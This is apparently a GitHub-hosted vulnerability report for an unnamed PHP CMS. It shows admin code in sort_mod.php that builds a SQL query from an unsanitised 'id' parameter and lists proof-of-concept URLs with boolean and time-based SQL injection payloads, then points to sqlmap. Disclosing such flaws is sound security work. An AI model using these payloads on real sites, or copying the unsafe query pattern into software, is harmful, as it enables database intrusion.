Permalink
Cannot retrieve contributors at this time
Name already in use
A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
bug_report/bug_j
Go to fileThis commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
28 lines (24 sloc)
1.01 KB
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Build environment with PHP5. | |
| -------------------------------- | |
| affected source code file: /admin/news/sort_mod.php | |
| -------------------------------- | |
| affected source code: | |
| <?php | |
| ..... | |
| $id= getvar('id'); | |
| ..... | |
| $list = $db->getOneRow(get_sql("select * from {pre}class where id = " . $id)); | |
| ..... | |
| ?> | |
| -------------------------------- | |
| affected reason: | |
| We can see the $id parameter has not been safely processed. So, the SQL injection can be achieved by constructing SQL injection statements in /admin/news/sort_mod.php | |
| -------------------------------- | |
| affected executable: | |
| After Signing in to the background in advance. Then: | |
| Like this: | |
| http://xx.xx.com/admin/news/sort_mod.php?id=1' | |
| http://xx.xx.com/admin/news/sort_mod.php?id=1 and 1=1 | |
| http://xx.xx.com/admin/news/sort_mod.php?id=1 and 1=2 | |
| http://xx.xx.com/admin/news/sort_mod.php?id=1 RLIKE SLEEP(2) | |
| Then, we can use tools like sqlmap for more information. |